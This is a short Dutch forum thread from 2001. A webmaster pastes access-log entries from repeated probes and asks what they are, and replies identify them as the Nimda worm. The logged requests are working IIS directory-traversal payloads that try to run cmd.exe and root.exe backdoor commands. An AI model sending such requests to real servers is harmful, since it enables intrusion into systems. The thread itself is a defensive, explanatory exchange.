Troep in m'n access.log

[YoG]

Sinds 18 september komt er gemiddeld iedere 10 minuten 'iets' langs op mun webserver die allerlei scripjes probeert uit te voeren.. nl.:

code:

[20/Sep/2001:14:04:49 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:50 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:54 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:55 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:56 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:57 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:58 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
 [20/Sep/2001:14:04:59 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0

Wat is dit??

[_JGC_]

Nimba. Dat ding is nog erger dan code red

[ACM]

Zie verder:
[topic=231310/1/50]